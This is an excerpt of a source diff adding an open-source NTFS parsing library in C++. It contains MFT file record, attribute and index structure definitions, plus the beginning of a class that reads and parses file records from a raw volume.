*******************************/
|
||||
|
||||
// File Record Header
|
||||
|
||||
#define FILE_RECORD_MAGIC 'ELIF'
|
||||
#define FILE_RECORD_FLAG_INUSE 0x01 // File record is in use
|
||||
#define FILE_RECORD_FLAG_DIR 0x02 // File record is a directory
|
||||
|
||||
typedef struct tagFILE_RECORD_HEADER
|
||||
{
|
||||
DWORD Magic; // "FILE"
|
||||
WORD OffsetOfUS; // Offset of Update Sequence
|
||||
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
|
||||
ULONGLONG LSN; // $LogFile Sequence Number
|
||||
WORD SeqNo; // Sequence number
|
||||
WORD Hardlinks; // Hard link count
|
||||
WORD OffsetOfAttr; // Offset of the first Attribute
|
||||
WORD Flags; // Flags
|
||||
DWORD RealSize; // Real size of the FILE record
|
||||
DWORD AllocSize; // Allocated size of the FILE record
|
||||
ULONGLONG RefToBase; // File reference to the base FILE record
|
||||
WORD NextAttrId; // Next Attribute Id
|
||||
WORD Align; // Align to 4 byte boundary
|
||||
DWORD RecordNo; // Number of this MFT Record
|
||||
} FILE_RECORD_HEADER;
|
||||
|
||||
|
||||
/******************************
|
||||
Attribute
|
||||
--------------------
|
||||
| Attribute Header |
|
||||
--------------------
|
||||
| Attribute Data |
|
||||
--------------------
|
||||
*******************************/
|
||||
|
||||
// Attribute Header
|
||||
|
||||
#define ATTR_TYPE_STANDARD_INFORMATION 0x10
|
||||
#define ATTR_TYPE_ATTRIBUTE_LIST 0x20
|
||||
#define ATTR_TYPE_FILE_NAME 0x30
|
||||
#define ATTR_TYPE_OBJECT_ID 0x40
|
||||
#define ATTR_TYPE_SECURITY_DESCRIPTOR 0x50
|
||||
#define ATTR_TYPE_VOLUME_NAME 0x60
|
||||
#define ATTR_TYPE_VOLUME_INFORMATION 0x70
|
||||
#define ATTR_TYPE_DATA 0x80
|
||||
#define ATTR_TYPE_INDEX_ROOT 0x90
|
||||
#define ATTR_TYPE_INDEX_ALLOCATION 0xA0
|
||||
#define ATTR_TYPE_BITMAP 0xB0
|
||||
#define ATTR_TYPE_REPARSE_POINT 0xC0
|
||||
#define ATTR_TYPE_EA_INFORMATION 0xD0
|
||||
#define ATTR_TYPE_EA 0xE0
|
||||
#define ATTR_TYPE_LOGGED_UTILITY_STREAM 0x100
|
||||
|
||||
#define ATTR_FLAG_COMPRESSED 0x0001
|
||||
#define ATTR_FLAG_ENCRYPTED 0x4000
|
||||
#define ATTR_FLAG_SPARSE 0x8000
|
||||
|
||||
typedef struct tagATTR_HEADER_COMMON
|
||||
{
|
||||
DWORD Type; // Attribute Type
|
||||
DWORD TotalSize; // Length (including this header)
|
||||
BYTE NonResident; // 0 - resident, 1 - non resident
|
||||
BYTE NameLength; // name length in words
|
||||
WORD NameOffset; // offset to the name
|
||||
WORD Flags; // Flags
|
||||
WORD Id; // Attribute Id
|
||||
} ATTR_HEADER_COMMON;
|
||||
|
||||
typedef struct tagATTR_HEADER_RESIDENT
|
||||
{
|
||||
ATTR_HEADER_COMMON Header; // Common data structure
|
||||
DWORD AttrSize; // Length of the attribute body
|
||||
WORD AttrOffset; // Offset to the Attribute
|
||||
BYTE IndexedFlag; // Indexed flag
|
||||
BYTE Padding; // Padding
|
||||
} ATTR_HEADER_RESIDENT;
|
||||
|
||||
typedef struct tagATTR_HEADER_NON_RESIDENT
|
||||
{
|
||||
ATTR_HEADER_COMMON Header; // Common data structure
|
||||
ULONGLONG StartVCN; // Starting VCN
|
||||
ULONGLONG LastVCN; // Last VCN
|
||||
WORD DataRunOffset; // Offset to the Data Runs
|
||||
WORD CompUnitSize; // Compression unit size
|
||||
DWORD Padding; // Padding
|
||||
ULONGLONG AllocSize; // Allocated size of the attribute
|
||||
ULONGLONG RealSize; // Real size of the attribute
|
||||
ULONGLONG IniSize; // Initialized data size of the stream
|
||||
} ATTR_HEADER_NON_RESIDENT;
|
||||
|
||||
|
||||
// Attribute: STANDARD_INFORMATION
|
||||
|
||||
#define ATTR_STDINFO_PERMISSION_READONLY 0x00000001
|
||||
#define ATTR_STDINFO_PERMISSION_HIDDEN 0x00000002
|
||||
#define ATTR_STDINFO_PERMISSION_SYSTEM 0x00000004
|
||||
#define ATTR_STDINFO_PERMISSION_ARCHIVE 0x00000020
|
||||
#define ATTR_STDINFO_PERMISSION_DEVICE 0x00000040
|
||||
#define ATTR_STDINFO_PERMISSION_NORMAL 0x00000080
|
||||
#define ATTR_STDINFO_PERMISSION_TEMP 0x00000100
|
||||
#define ATTR_STDINFO_PERMISSION_SPARSE 0x00000200
|
||||
#define ATTR_STDINFO_PERMISSION_REPARSE 0x00000400
|
||||
#define ATTR_STDINFO_PERMISSION_COMPRESSED 0x00000800
|
||||
#define ATTR_STDINFO_PERMISSION_OFFLINE 0x00001000
|
||||
#define ATTR_STDINFO_PERMISSION_NCI 0x00002000
|
||||
#define ATTR_STDINFO_PERMISSION_ENCRYPTED 0x00004000
|
||||
|
||||
typedef struct tagATTR_STANDARD_INFORMATION
|
||||
{
|
||||
ULONGLONG CreateTime; // File creation time
|
||||
ULONGLONG AlterTime; // File altered time
|
||||
ULONGLONG MFTTime; // MFT changed time
|
||||
ULONGLONG ReadTime; // File read time
|
||||
DWORD Permission; // Dos file permission
|
||||
DWORD MaxVersionNo; // Maxim number of file versions
|
||||
DWORD VersionNo; // File version number
|
||||
DWORD ClassId; // Class Id
|
||||
DWORD OwnerId; // Owner Id
|
||||
DWORD SecurityId; // Security Id
|
||||
ULONGLONG QuotaCharged; // Quota charged
|
||||
ULONGLONG USN; // USN Journel
|
||||
} ATTR_STANDARD_INFORMATION;
|
||||
|
||||
|
||||
// Attribute: ATTRIBUTE_LIST
|
||||
|
||||
typedef struct tagATTR_ATTRIBUTE_LIST
|
||||
{
|
||||
DWORD AttrType; // Attribute type
|
||||
WORD RecordSize; // Record length
|
||||
BYTE NameLength; // Name length in characters
|
||||
BYTE NameOffset; // Name offset
|
||||
ULONGLONG StartVCN; // Start VCN
|
||||
ULONGLONG BaseRef; // Base file reference to the attribute
|
||||
WORD AttrId; // Attribute Id
|
||||
} ATTR_ATTRIBUTE_LIST;
|
||||
|
||||
// Attribute: FILE_NAME
|
||||
|
||||
#define ATTR_FILENAME_FLAG_READONLY 0x00000001
|
||||
#define ATTR_FILENAME_FLAG_HIDDEN 0x00000002
|
||||
#define ATTR_FILENAME_FLAG_SYSTEM 0x00000004
|
||||
#define ATTR_FILENAME_FLAG_ARCHIVE 0x00000020
|
||||
#define ATTR_FILENAME_FLAG_DEVICE 0x00000040
|
||||
#define ATTR_FILENAME_FLAG_NORMAL 0x00000080
|
||||
#define ATTR_FILENAME_FLAG_TEMP 0x00000100
|
||||
#define ATTR_FILENAME_FLAG_SPARSE 0x00000200
|
||||
#define ATTR_FILENAME_FLAG_REPARSE 0x00000400
|
||||
#define ATTR_FILENAME_FLAG_COMPRESSED 0x00000800
|
||||
#define ATTR_FILENAME_FLAG_OFFLINE 0x00001000
|
||||
#define ATTR_FILENAME_FLAG_NCI 0x00002000
|
||||
#define ATTR_FILENAME_FLAG_ENCRYPTED 0x00004000
|
||||
#define ATTR_FILENAME_FLAG_DIRECTORY 0x10000000
|
||||
#define ATTR_FILENAME_FLAG_INDEXVIEW 0x20000000
|
||||
|
||||
#define ATTR_FILENAME_NAMESPACE_POSIX 0x00
|
||||
#define ATTR_FILENAME_NAMESPACE_WIN32 0x01
|
||||
#define ATTR_FILENAME_NAMESPACE_DOS 0x02
|
||||
|
||||
typedef struct tagATTR_FILE_NAME
|
||||
{
|
||||
ULONGLONG ParentRef; // File reference to the parent directory
|
||||
ULONGLONG CreateTime; // File creation time
|
||||
ULONGLONG AlterTime; // File altered time
|
||||
ULONGLONG MFTTime; // MFT changed time
|
||||
ULONGLONG ReadTime; // File read time
|
||||
ULONGLONG AllocSize; // Allocated size of the file
|
||||
ULONGLONG RealSize; // Real size of the file
|
||||
DWORD Flags; // Flags
|
||||
DWORD ER; // Used by EAs and Reparse
|
||||
BYTE NameLength; // Filename length in characters
|
||||
BYTE NameSpace; // Filename space
|
||||
WORD Name[1]; // Filename
|
||||
} ATTR_FILE_NAME;
|
||||
|
||||
|
||||
// Attribute: VOLUME_INFORMATION
|
||||
|
||||
#define ATTR_VOLINFO_FLAG_DIRTY 0x0001 // Dirty
|
||||
#define ATTR_VOLINFO_FLAG_RLF 0x0002 // Resize logfile
|
||||
#define ATTR_VOLINFO_FLAG_UOM 0x0004 // Upgrade on mount
|
||||
#define ATTR_VOLINFO_FLAG_MONT 0x0008 // Mounted on NT4
|
||||
#define ATTR_VOLINFO_FLAG_DUSN 0x0010 // Delete USN underway
|
||||
#define ATTR_VOLINFO_FLAG_ROI 0x0020 // Repair object Ids
|
||||
#define ATTR_VOLINFO_FLAG_MBC 0x8000 // Modified by chkdsk
|
||||
|
||||
typedef struct tagATTR_VOLUME_INFORMATION
|
||||
{
|
||||
BYTE Reserved1[8]; // Always 0 ?
|
||||
BYTE MajorVersion; // Major version
|
||||
BYTE MinorVersion; // Minor version
|
||||
WORD Flags; // Flags
|
||||
BYTE Reserved2[4]; // Always 0 ?
|
||||
} ATTR_VOLUME_INFORMATION;
|
||||
|
||||
|
||||
// Attribute: INDEX_ROOT
|
||||
/******************************
|
||||
INDEX_ROOT
|
||||
---------------------
|
||||
| Index Root Header |
|
||||
---------------------
|
||||
| Index Header |
|
||||
---------------------
|
||||
| Index Entry |
|
||||
---------------------
|
||||
| Index Entry |
|
||||
---------------------
|
||||
| ...... |
|
||||
---------------------
|
||||
*******************************/
|
||||
|
||||
#define ATTR_INDEXROOT_FLAG_SMALL 0x00 // Fits in Index Root File Record
|
||||
#define ATTR_INDEXROOT_FLAG_LARGE 0x01 // Index Allocation and Bitmap needed
|
||||
|
||||
typedef struct tagATTR_INDEX_ROOT
|
||||
{
|
||||
// Index Root Header
|
||||
DWORD AttrType; // Attribute type (ATTR_TYPE_FILE_NAME: Directory, 0: Index View)
|
||||
DWORD CollRule; // Collation rule
|
||||
DWORD IBSize; // Size of index block
|
||||
BYTE ClustersPerIB; // Clusters per index block (same as BPB?)
|
||||
BYTE Padding1[3]; // Padding
|
||||
// Index Header
|
||||
DWORD EntryOffset; // Offset to the first index entry, relative to this address(0x10)
|
||||
DWORD TotalEntrySize; // Total size of the index entries
|
||||
DWORD AllocEntrySize; // Allocated size of the index entries
|
||||
BYTE Flags; // Flags
|
||||
BYTE Padding2[3]; // Padding
|
||||
} ATTR_INDEX_ROOT;
|
||||
|
||||
|
||||
// INDEX ENTRY
|
||||
|
||||
#define INDEX_ENTRY_FLAG_SUBNODE 0x01 // Index entry points to a sub-node
|
||||
#define INDEX_ENTRY_FLAG_LAST 0x02 // Last index entry in the node, no Stream
|
||||
|
||||
typedef struct tagINDEX_ENTRY
|
||||
{
|
||||
ULONGLONG FileReference; // Low 6B: MFT record index, High 2B: MFT record sequence number
|
||||
WORD Size; // Length of the index entry
|
||||
WORD StreamSize; // Length of the stream
|
||||
BYTE Flags; // Flags
|
||||
BYTE Padding[3]; // Padding
|
||||
BYTE Stream[1]; // Stream
|
||||
// VCN of the sub node in Index Allocation, Offset = Size - 8
|
||||
} INDEX_ENTRY;
|
||||
|
||||
|
||||
// INDEX BLOCK
|
||||
/******************************
|
||||
INDEX_BLOCK
|
||||
-----------------------
|
||||
| Index Block Header |
|
||||
-----------------------
|
||||
| Index Header |
|
||||
-----------------------
|
||||
| Index Entry |
|
||||
-----------------------
|
||||
| Index Entry |
|
||||
-----------------------
|
||||
| ...... |
|
||||
-----------------------
|
||||
*******************************/
|
||||
|
||||
#define INDEX_BLOCK_MAGIC 'XDNI'
|
||||
|
||||
typedef struct tagINDEX_BLOCK
|
||||
{
|
||||
// Index Block Header
|
||||
DWORD Magic; // "INDX"
|
||||
WORD OffsetOfUS; // Offset of Update Sequence
|
||||
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
|
||||
ULONGLONG LSN; // $LogFile Sequence Number
|
||||
ULONGLONG VCN; // VCN of this index block in the index allocation
|
||||
// Index Header
|
||||
DWORD EntryOffset; // Offset of the index entries, relative to this address(0x18)
|
||||
DWORD TotalEntrySize; // Total size of the index entries
|
||||
DWORD AllocEntrySize; // Allocated size of index entries
|
||||
BYTE NotLeaf; // 1 if not leaf node (has children)
|
||||
BYTE Padding[3]; // Padding
|
||||
} INDEX_BLOCK;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,989 @@
|
||||
/*
|
||||
* NTFS Volume and File Record Class
|
||||
*
|
||||
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
|
||||
#ifndef __NTFS_FILERECORD_H_CYB70289
|
||||
#define __NTFS_FILERECORD_H_CYB70289
|
||||
|
||||
|
||||
///////////////////////////////////////
|
||||
// NTFS Volume forward declaration
|
||||
///////////////////////////////////////
|
||||
class CNTFSVolume
|
||||
{
|
||||
public:
|
||||
CNTFSVolume(_TCHAR volume);
|
||||
virtual ~CNTFSVolume();
|
||||
|
||||
friend class CFileRecord;
|
||||
friend class CAttrBase;
|
||||
|
||||
private:
|
||||
WORD SectorSize;
|
||||
DWORD ClusterSize;
|
||||
DWORD FileRecordSize;
|
||||
DWORD IndexBlockSize;
|
||||
ULONGLONG MFTAddr;
|
||||
HANDLE hVolume;
|
||||
BOOL VolumeOK;
|
||||
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
|
||||
WORD Version;
|
||||
|
||||
// MFT file records ($MFT file itself) may be fragmented
|
||||
// Get $MFT Data attribute to translate FileRecord to correct disk offset
|
||||
CFileRecord *MFTRecord; // $MFT File Record
|
||||
const CAttrBase *MFTData; // $MFT Data Attribute
|
||||
|
||||
BOOL OpenVolume(_TCHAR volume);
|
||||
|
||||
public:
|
||||
__inline BOOL IsVolumeOK() const;
|
||||
__inline WORD GetVersion() const;
|
||||
__inline ULONGLONG GetRecordsCount() const;
|
||||
|
||||
__inline DWORD GetSectorSize() const;
|
||||
__inline DWORD GetClusterSize() const;
|
||||
__inline DWORD GetFileRecordSize() const;
|
||||
__inline DWORD GetIndexBlockSize() const;
|
||||
__inline ULONGLONG GetMFTAddr() const;
|
||||
|
||||
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
|
||||
__inline void ClearAttrRawCB();
|
||||
}; // CNTFSVolume
|
||||
|
||||
|
||||
////////////////////////////////////////////
|
||||
// List to hold Attributes of the same type
|
||||
////////////////////////////////////////////
|
||||
typedef class CSList<CAttrBase> CAttrList;
|
||||
|
||||
// It seems VC6.0 doesn't support template class friends
|
||||
#if _MSC_VER <= 1200
|
||||
class CAttrResident;
|
||||
class CAttrNonResident;
|
||||
template <class TYPE_RESIDENT> class CAttr_AttrList;
|
||||
#endif
|
||||
|
||||
////////////////////////////////
|
||||
// Process a single File Record
|
||||
////////////////////////////////
|
||||
class CFileRecord
|
||||
{
|
||||
public:
|
||||
CFileRecord(const CNTFSVolume *volume);
|
||||
virtual ~CFileRecord();
|
||||
|
||||
friend class CAttrBase;
|
||||
#if _MSC_VER <= 1200
|
||||
// Walk around VC6.0 compiler defect
|
||||
friend class CAttr_AttrList<CAttrResident>;
|
||||
friend class CAttr_AttrList<CAttrNonResident>;
|
||||
#else
|
||||
template <class TYPE_RESIDENT> friend class CAttr_AttrList; // Won't compiler in VC6.0, why?
|
||||
#endif
|
||||
|
||||
private:
|
||||
const CNTFSVolume *Volume;
|
||||
FILE_RECORD_HEADER *FileRecord;
|
||||
ULONGLONG FileReference;
|
||||
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
|
||||
DWORD AttrMask;
|
||||
CAttrList AttrList[ATTR_NUMS]; // Attributes
|
||||
|
||||
void ClearAttrs();
|
||||
BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray);
|
||||
__inline void UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard);
|
||||
CAttrBase* AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled);
|
||||
BOOL ParseAttr(ATTR_HEADER_COMMON *ahc);
|
||||
FILE_RECORD_HEADER* ReadFileRecord(ULONGLONG &fileRef);
|
||||
BOOL VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const;
|
||||
void TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const;
|
||||
|
||||
public:
|
||||
BOOL ParseFileRecord(ULONGLONG fileRef);
|
||||
BOOL ParseAttrs();
|
||||
|
||||
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
|
||||
__inline void ClearAttrRawCB();
|
||||
|
||||
__inline void SetAttrMask(DWORD mask);
|
||||
void TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context);
|
||||
__inline const CAttrBase* FindFirstAttr(DWORD attrType) const;
|
||||
const CAttrBase* FindNextAttr(DWORD attrType) const;
|
||||
|
||||
int GetFileName(_TCHAR *buf, DWORD bufLen) const;
|
||||
__inline ULONGLONG GetFileSize() const;
|
||||
void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const;
|
||||
|
||||
void TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const;
|
||||
__inline const BOOL FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const;
|
||||
const CAttrBase* FindStream(_TCHAR *name = NULL);
|
||||
|
||||
__inline BOOL IsDeleted() const;
|
||||
__inline BOOL IsDirectory() const;
|
||||
__inline BOOL IsReadOnly() const;
|
||||
__inline BOOL IsHidden() const;
|
||||
__inline BOOL IsSystem() const;
|
||||
__inline BOOL IsCompressed() const;
|
||||
__inline BOOL IsEncrypted() const;
|
||||
__inline BOOL IsSparse() const;
|
||||
}; // CFileRecord
|
||||
|
||||
|
||||
#include "NTFS_Attribute.h"
|
||||
|
||||
|
||||
CFileRecord::CFileRecord(const CNTFSVolume *volume)
|
||||
{
|
||||
_ASSERT(volume);
|
||||
Volume = volume;
|
||||
FileRecord = NULL;
|
||||
FileReference = (ULONGLONG)-1;
|
||||
|
||||
ClearAttrRawCB();
|
||||
|
||||
// Default to parse all attributes
|
||||
AttrMask = MASK_ALL;
|
||||
}
|
||||
|
||||
CFileRecord::~CFileRecord()
|
||||
{
|
||||
ClearAttrs();
|
||||
|
||||
if (FileRecord)
|
||||
delete FileRecord;
|
||||
}
|
||||
|
||||
// Free all CAttr_xxx
|
||||
void CFileRecord::ClearAttrs()
|
||||
{
|
||||
for (int i=0; i<ATTR_NUMS; i++)
|
||||
{
|
||||
AttrList[i].RemoveAll();
|
||||
}
|
||||
}
|
||||
|
||||
// Verify US and update sectors
|
||||
BOOL CFileRecord::PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray)
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i=0; i<sectors; i++)
|
||||
{
|
||||
sector += ((Volume->SectorSize>>1) - 1);
|
||||
if (*sector != usn)
|
||||
return FALSE; // USN error
|
||||
*sector = usarray[i]; // Write back correct data
|
||||
sector++;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Call user defined Callback routines for an attribute
|
||||
__inline void CFileRecord::UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard)
|
||||
{
|
||||
*bDiscard = FALSE;
|
||||
|
||||
if (AttrRawCallBack[attType])
|
||||
AttrRawCallBack[attType](ahc, bDiscard);
|
||||
else if (Volume->AttrRawCallBack[attType])
|
||||
Volume->AttrRawCallBack[attType](ahc, bDiscard);
|
||||
}
|
||||
|
||||
CAttrBase* CFileRecord::AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled)
|
||||
{
|
||||
switch (ahc->Type)
|
||||
{
|
||||
case ATTR_TYPE_STANDARD_INFORMATION:
|
||||
return new CAttr_StdInfo(ahc, this);
|
||||
|
||||
case ATTR_TYPE_ATTRIBUTE_LIST:
|
||||
if (ahc->NonResident)
|
||||
return new CAttr_AttrList<CAttrNonResident>(ahc, this);
|
||||
else
|
||||
return new CAttr_AttrList<CAttrResident>(ahc, this);
|
||||
|
||||
case ATTR_TYPE_FILE_NAME:
|
||||
return new CAttr_FileName(ahc, this);
|
||||
|
||||
case ATTR_TYPE_VOLUME_NAME:
|
||||
return new CAttr_VolName(ahc, this);
|
||||
|
||||
case ATTR_TYPE_VOLUME_INFORMATION:
|
||||
return new CAttr_VolInfo(ahc, this);
|
||||
|
||||
case ATTR_TYPE_DATA:
|
||||
if (ahc->NonResident)
|
||||
return new CAttr_Data<CAttrNonResident>(ahc, this);
|
||||
else
|
||||
return new CAttr_Data<CAttrResident>(ahc, this);
|
||||
|
||||
case ATTR_TYPE_INDEX_ROOT:
|
||||
return new CAttr_IndexRoot(ahc, this);
|
||||
|
||||
case ATTR_TYPE_INDEX_ALLOCATION:
|
||||
return new CAttr_IndexAlloc(ahc, this);
|
||||
|
||||
case ATTR_TYPE_BITMAP:
|
||||
if (ahc->NonResident)
|
||||
return new CAttr_Bitmap<CAttrNonResident>(ahc, this);
|
||||
else
|
||||
// Resident Bitmap may exist in a directory's FileRecord
|
||||
// or in $MFT for a very small volume in theory
|
||||
return new CAttr_Bitmap<CAttrResident>(ahc, this);
|
||||
|
||||
// Unhandled Attributes
|
||||
default:
|
||||
*bUnhandled = TRUE;
|
||||
if (ahc->NonResident)
|
||||
return new CAttrNonResident(ahc, this);
|
||||
else
|
||||
return new CAttrResident(ahc, this);
|
||||
}
|
||||
}
|
||||
|
||||
// Parse a single Attribute
|
||||
// Return False on error
|
||||
BOOL CFileRecord::ParseAttr(ATTR_HEADER_COMMON *ahc)
|
||||
{
|
||||
DWORD attrIndex = ATTR_INDEX(ahc->Type);
|
||||
if (attrIndex < ATTR_NUMS)
|
||||
{
|
||||
BOOL bDiscard = FALSE;
|
||||
UserCallBack(attrIndex, ahc, &bDiscard);
|
||||
|
||||
if (!bDiscard)
|
||||
{
|
||||
BOOL bUnhandled = FALSE;
|
||||
CAttrBase *attr = AllocAttr(ahc, &bUnhandled);
|
||||
if (attr)
|
||||
{
|
||||
if (bUnhandled)
|
||||
{
|
||||
NTFS_TRACE1("Unhandled attribute: 0x%04X\n", ahc->Type);
|
||||
}
|
||||
AttrList[attrIndex].InsertEntry(attr);
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE1("Attribute Parse error: 0x%04X\n", ahc->Type);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE1("User Callback has processed this Attribute: 0x%04X\n", ahc->Type);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE1("Invalid Attribute Type: 0x%04X\n", ahc->Type);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
// Read File Record
|
||||
FILE_RECORD_HEADER* CFileRecord::ReadFileRecord(ULONGLONG &fileRef)
|
||||
{
|
||||
FILE_RECORD_HEADER *fr = NULL;
|
||||
DWORD len;
|
||||
|
||||
if (fileRef < MFT_IDX_USER || Volume->MFTData == NULL)
|
||||
{
|
||||
// Take as continuous disk allocation
|
||||
LARGE_INTEGER frAddr;
|
||||
frAddr.QuadPart = Volume->MFTAddr + (Volume->FileRecordSize) * fileRef;
|
||||
frAddr.LowPart = SetFilePointer(Volume->hVolume, frAddr.LowPart, &frAddr.HighPart, FILE_BEGIN);
|
||||
|
||||
if (frAddr.LowPart == DWORD(-1) && GetLastError() != NO_ERROR)
|
||||
return FALSE;
|
||||
else
|
||||
{
|
||||
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
|
||||
|
||||
if (ReadFile(Volume->hVolume, fr, Volume->FileRecordSize, &len, NULL)
|
||||
&& len==Volume->FileRecordSize)
|
||||
return fr;
|
||||
else
|
||||
{
|
||||
delete fr;
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// May be fragmented $MFT
|
||||
ULONGLONG frAddr;
|
||||
frAddr = (Volume->FileRecordSize) * fileRef;
|
||||
|
||||
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
|
||||
|
||||
if (Volume->MFTData->ReadData(frAddr, fr, Volume->FileRecordSize, &len)
|
||||
&& len == Volume->FileRecordSize)
|
||||
return fr;
|
||||
else
|
||||
{
|
||||
delete fr;
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Read File Record, verify and patch the US (update sequence)
|
||||
BOOL CFileRecord::ParseFileRecord(ULONGLONG fileRef)
|
||||
{
|
||||
// Clear previous data
|
||||
ClearAttrs();
|
||||
if (FileRecord)
|
||||
{
|
||||
delete FileRecord;
|
||||
FileRecord = NULL;
|
||||
}
|
||||
|
||||
FILE_RECORD_HEADER *fr = ReadFileRecord(fileRef);
|
||||
if (fr == NULL)
|
||||
{
|
||||
NTFS_TRACE1("Cannot read file record %I64u\n", fileRef);
|
||||
|
||||
FileReference = (ULONGLONG)-1;
|
||||
}
|
||||
else
|
||||
{
|
||||
FileReference = fileRef;
|
||||
|
||||
if (fr->Magic == FILE_RECORD_MAGIC)
|
||||
{
|
||||
// Patch US
|
||||
WORD *usnaddr = (WORD*)((BYTE*)fr + fr->OffsetOfUS);
|
||||
WORD usn = *usnaddr;
|
||||
WORD *usarray = usnaddr + 1;
|
||||
if (PatchUS((WORD*)fr, Volume->FileRecordSize/Volume->SectorSize, usn, usarray))
|
||||
{
|
||||
NTFS_TRACE1("File Record %I64u Found\n", fileRef);
|
||||
FileRecord = fr;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE("Update Sequence Number error\n");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE("Invalid file record\n");
|
||||
}
|
||||
|
||||
delete fr;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Visit IndexBlocks recursivly to find a specific FileName
|
||||
BOOL CFileRecord::VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const
|
||||
{
|
||||
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
|
||||
if (ia == NULL)
|
||||
return FALSE;
|
||||
|
||||
CIndexBlock ib;
|
||||
if (ia->ParseIndexBlock(vcn, ib))
|
||||
{
|
||||
CIndexEntry *ie = ib.FindFirstEntry();
|
||||
while (ie)
|
||||
{
|
||||
if (ie->HasName())
|
||||
{
|
||||
// Compare name
|
||||
int i = ie->Compare(fileName);
|
||||
if (i == 0)
|
||||
{
|
||||
ieFound = *ie;
|
||||
return TRUE;
|
||||
}
|
||||
else if (i < 0) // fileName is smaller than IndexEntry
|
||||
{
|
||||
// Visit SubNode
|
||||
if (ie->IsSubNodePtr())
|
||||
{
|
||||
// Search in SubNode (IndexBlock), recursive call
|
||||
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
return FALSE; // not found
|
||||
}
|
||||
// Just step forward if fileName is bigger than IndexEntry
|
||||
}
|
||||
else if (ie->IsSubNodePtr())
|
||||
{
|
||||
// Search in SubNode (IndexBlock), recursive call
|
||||
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
ie = ib.FindNextEntry();
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Traverse SubNode recursivly in ascending order
|
||||
// Call user defined callback routine once found an subentry
|
||||
void CFileRecord::TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const
|
||||
{
|
||||
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
|
||||
if (ia == NULL)
|
||||
return;
|
||||
|
||||
CIndexBlock ib;
|
||||
if (ia->ParseIndexBlock(vcn, ib))
|
||||
{
|
||||
CIndexEntry *ie = ib.FindFirstEntry();
|
||||
while (ie)
|
||||
{
|
||||
if (ie->IsSubNodePtr())
|
||||
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); // recursive call
|
||||
|
||||
if (ie->HasName())
|
||||
seCallBack(ie);
|
||||
|
||||
ie = ib.FindNextEntry();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Parse all the attributes in a File Record
|
||||
// And insert them into a link list
|
||||
BOOL CFileRecord::ParseAttrs()
|
||||
{
|
||||
_ASSERT(FileRecord);
|
||||
|
||||
// Clear previous data
|
||||
ClearAttrs();
|
||||
|
||||
// Visit all attributes
|
||||
|
||||
DWORD dataPtr = 0; // guard if data exceeds FileRecordSize bounds
|
||||
ATTR_HEADER_COMMON *ahc = (ATTR_HEADER_COMMON*)((BYTE*)FileRecord + FileRecord->OffsetOfAttr);
|
||||
dataPtr += FileRecord->OffsetOfAttr;
|
||||
|
||||
while (ahc->Type != (DWORD)-1 && (dataPtr+ahc->TotalSize) <= Volume->FileRecordSize)
|
||||
{
|
||||
if (ATTR_MASK(ahc->Type) & AttrMask) // Skip unwanted attributes
|
||||
{
|
||||
